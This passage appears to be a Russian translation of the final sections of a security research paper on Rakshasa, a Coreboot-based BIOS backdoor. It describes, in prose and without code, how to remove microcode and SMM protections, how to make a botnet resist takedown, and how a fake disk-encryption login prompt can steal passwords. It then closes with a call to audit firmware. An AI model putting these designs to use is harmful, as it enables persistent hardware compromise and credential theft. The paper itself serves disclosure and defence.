Но этого недостаточно: мы хотели бы атаковать другие (возможно еще неизвестные на момент установки бэкдора) операционные системы универсальным способом. Поскольку мы, по существу, контролируем не просто вредоносную начинку, но весь процесс загрузки с момента выполнения первого бита BIOS ROM, мы можем гораздо больше. В частности, мы можем удалить из Coreboot обновления микрокода процессора. Именно BIOS занимается применением этих обновлений: если мы удалим микрокоды, тогда баги процессора и потенциальные уязвимости, обычно исправляемые на данном уровне, останутся эксплуатируемыми.

Мы также можем удалить средства защиты от SSM, что будет иметь те же последствия, как если бы мы сделали операционную систему уязвимой к универсальному локальному эксплоиту [20].

На данном этапе демонстрации возможностей должно быть понятно, что, как только Rakshasa будет установлен на некоторой машине, безопасность операционной системы больше не может быть гарантирована.

8 Как построить ботнет базе BIOS: BIOS-ботнеты

Кто-то может утверждать, что самым слабым компонентом архитектуры является блог, используемый в качестве C&C. Пришло время развеять заблуждения, касающиеся безопасности ботнетов: если производители могут выпускать обновления безопасности, а Microsoft, похоже, по большей части этим и занимается последние 10 лет, не существует никаких причин, по которым разработчики вредоносного ПО не могут делать того же.

Помешать правоохранительным органам (или кому-либо еще) рассылать ботнету команды выключения относительно просто: достаточно подписывать команды с помощью сильного асимметричного алгоритма. Обновления Rakshasa также могут иметь цифровую подпись, которая предотвратит модификацию обновлений посторонними. Таким образом осуществляется контроль целостности.

Наконец, встраивание в бэкдор клиентских SSL-сертификатов не даст обнаружить C&C-хосты путем сканирования Интернет на предмет определенных файлов. Стоит упомянуть, что Coreboot может использовать его собственный встроенный образ CMOS, позволяя тем самым хранить в NVRAM CMOS криптографические ключи (стираемые при отключении питания). Сочетание такой возможности вместе с использованием характеристик оборудования (как правило, MAC-адреса) для восстановления ключей дешифрования при каждой перезагрузке позволяет создать бэкдор, который крайне сложно извлечь из оборудования (например, его нельзя просто скопировать в виртуальную машину для анализа). Мы полагаем, что BIOSBotnet обладающий такой архитектурой, практически невозможно отключить.

9 Почему шифрование (даже с аппаратной поддержкой) не решает проблемы

На данном этапе демонстрации кто-то может решить, что криптография, а особенно шифрование диска целиком, может помешать бэкдору нанести хоть какой-нибудь урон системе. Это предположение мы и собираемся обсудить в данной главе.

Давайте сперва предположим, что TPM отсутствует. Тогда Rakshasa может обнаружить, что первый загрузочный жесткий диск зашифрован, и вместо скачивания буткита загрузить небольшую операционную систему, маскирующуюся под приглашение входа FDE, затем подождать, пока пользователь введет свои учетные данные, сохранить пароль в CMOS и, возможно, передать его C&C-серверу. Как только пароль стал известен, Rakshasa может отключить прерывание 0x10 (видео), сэмулировать прерывание 0x19, чтобы перезагрузить реальный загрузчик, после чего симитировать ввод с клавиатуры [23] в 16-битном режиме путем прямого программирования микроконтроллеров PIC, встроенных в клавиатуру и материнскую плату, и в итоге позволить системе нормально загрузиться.

10 Заключение

В данной небольшой статье мы выделили некоторые проблемы, присутствующие в современных PC из-за плохого наследия и слабой архитектуры безопасности. Так как PC были разработаны еще в начале 80-х годов, их архитектура не учитывает сегодняшнего характера использования компьютеров, она больше сосредоточена на возможности взаимодействия основных периферийных устройств, а не на сегрегации и безопасности. К сожалению, это невозможно исправить простым путем: чтобы сделать компьютеры неуязвимыми к аппаратным бэкдорам, требуются радикальные модификации архитектуры, которые приведут к отсутствию обратной совместимости. Стоит отметить, что даже самые современные технологии вроде TPM и полного дискового шифрования не могут предотвратить установку бэкдора кем-либо в цепочке поставок. Мы надеемся, что данная статья поможет увеличить осведомленность сообщества специалистов по безопасности и убедить тех, кто принимает решения, тратить больше на проверку целостности оборудования и программ, а не на серебрянные пули, которые за последние 30 лет доказали свою несостоятельность. В частности, хорошей идеей (но не достаточным решением) было бы включение в программу аудита безопасности проверки прошивок ромов PCI и BIOS перед использованием и в ходе программно-технической экспертизы.

11 Благодарности

Мы хотели бы поблагодарить: Флорентина Деметреску, члена проекта Coreboot, без которого данное исследование так бы и не началось; Петра Баню за любезное предоставление специальной версии Kon-Boot, которая помогла нам в демонстрации; французскую и австралийскую команды Toucan System: я бы не провел данное исследование без их постоянной моральной и технической поддержки.

Ссылки

Источник